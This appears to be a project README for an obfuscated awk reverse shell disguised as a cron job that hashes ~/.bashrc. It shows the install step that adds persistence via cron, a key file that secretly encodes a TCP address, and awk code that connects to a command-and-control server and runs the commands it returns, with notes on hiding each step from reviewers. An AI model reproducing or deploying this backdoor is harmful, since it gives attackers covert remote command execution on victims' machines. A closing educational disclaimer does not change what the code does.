An obfuscated awk reverse shell.
The checkrc.awk command periodically calls out to a remote server and executes its commands. It is disguised as a recurring task to take the shasum of a file (e.g. to track when it is modified).
This command creates the main checkrc.awk file, an encryption key, and adds settings to cron.
./install.sh
Before we dig into the code, we need some background on the encryption key that gets generated.
After running ./install.sh, a base64-encoded file should be saved to $HOME/.checkrc/.key. This looks like a stream of random bytes, but it's actually been carefully crafted to encode an awk-style TCP URI (see awk Network Programming).
Let's try decoding the file and only reading the even-numbered columns...
$ base64 -d $HOME/.checkrc/.key | awk '{print $2$4$6$8$10$12$14$16$18$20}'
/inet/tcp/0/localhost/8888The first few lines of checkrc.awk simply read the key we see above, with some indirection around reading the even-numbered columns. As we know, we get a hostname out of this. Meanwhile, the reader believes we have loaded a private key into memory.
# load key into memory two bytes at a time
("base64 --decode $HOME/.checkrc/.key" | getline)
for (i=2;i<=NF;i+=2) key=key$iThe entire "HMAC generation" step exists mostly for indirection, except for the print statement. Those familiar with awk coprocesses and networking will note that this print statement actually opens a connection to our host above (localhost:8888) and sends the text "starting with key ".
Our command and control server would be set up to handle this input, while to the reader, this looks like a harmless debug statement.
# generate hmac of bash profile and save to logfile
print "starting with key " |& key
system(sprintf("openssl dgst -sha1 -hmac %s ~/.bashrc >>$HOME/shasums.txt", key))This is the core of the script that reads data from the remote server and executes it. We hide it by talking about traditionally confusing concepts, but it's a difficult part to fully obfuscate (I'm open to suggestions).
# flush buffers and clean up file descriptors
close(key |&getline fd)
print "closed " |& fdLet's break down what's going on here.
key |& getline fdreads a response from the host (localhost:8888), and populates the variablefdwith the response data.close()actually does close the connection, but evaluates step (1) first.print "closed " |& fdruns the command received from the remote server. It does this by sending an arbitrary string to a process that runs the received command. This means that the received command should expect data on STDIN and handle it accordingly.
This client assumes you have a remote server that can issue commands upon request. server.awk exists as a test server that sends remote tasks to be executed on the target host upon request. Creating a more configurable server is outside the scope of this project.
This project is for educational and research purposes only. The author is not responsible for individuals who misuse these materials for illegal purposes.